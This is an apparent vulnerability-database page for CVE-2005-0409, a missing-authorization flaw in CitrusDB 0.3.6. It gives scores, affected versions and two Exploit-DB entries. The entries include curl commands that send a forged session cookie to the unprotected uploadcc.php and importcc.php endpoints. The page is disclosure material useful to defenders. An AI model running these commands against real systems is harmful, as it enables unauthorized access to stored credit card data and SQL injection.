CVE-2005-0409
published 2005-02-14CVE-2005-0409: CitrusDB 0.3.6 and earlier does not verify authorization for the (1) importcc.php and (2) uploadcc.php, which allows remote attackers to upload credit card…
PriorityP430medium6.4CVSS 2.0
AVNACLAuNCPIPAN
EXPLOIT
EPSS
5.66%
92.0th percentile
CitrusDB 0.3.6 and earlier does not verify authorization for the (1) importcc.php and (2) uploadcc.php, which allows remote attackers to upload credit card data and obtain sensitive information such as the pathnames for temporary files that store credit card data, and facilitates the exploitation of other vulnerabilities.
Affected
1 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| citrusdb | citrusdb | <= 0.3.6 | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
CitrusDB 0.3.6 - 'uploadcc.php' Arbitrary Database Injection
exploitdb·2005-02-15
CVE-2005-0409 CitrusDB 0.3.6 - 'uploadcc.php' Arbitrary Database Injection
CitrusDB 0.3.6 - 'uploadcc.php' Arbitrary Database Injection
---
source: https://www.securityfocus.com/bid/12557/info
CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.
These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.
curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor" http:///citrusdb/tools/uploadcc.php --form
[email protected] --form Import=Import
Exploit-DB
CitrusDB 0.3.6 - 'importcc.php' Arbitrary Database Injection
exploitdb·2005-02-15
CVE-2005-0409 CitrusDB 0.3.6 - 'importcc.php' Arbitrary Database Injection
CitrusDB 0.3.6 - 'importcc.php' Arbitrary Database Injection
---
source: https://www.securityfocus.com/bid/12557/info
CitrusDB is reportedly affected by an access validation vulnerability during the upload of CSV files. Exploitation of this issue could result in path disclosure or SQL injection. The issue exists because the application fails to verify user credentials during file upload and import.
These issues are reported to affect CitrusDB 0.3.6; earlier versions may also be affected.
curl -D - --cookie "id_hash=2378c7b70e77d9c6737d697a46cbe34b;
user_name=testor"
"http:///citrusdb/tools/index.php?load=importcc&submit=on"
2005-02-14
Published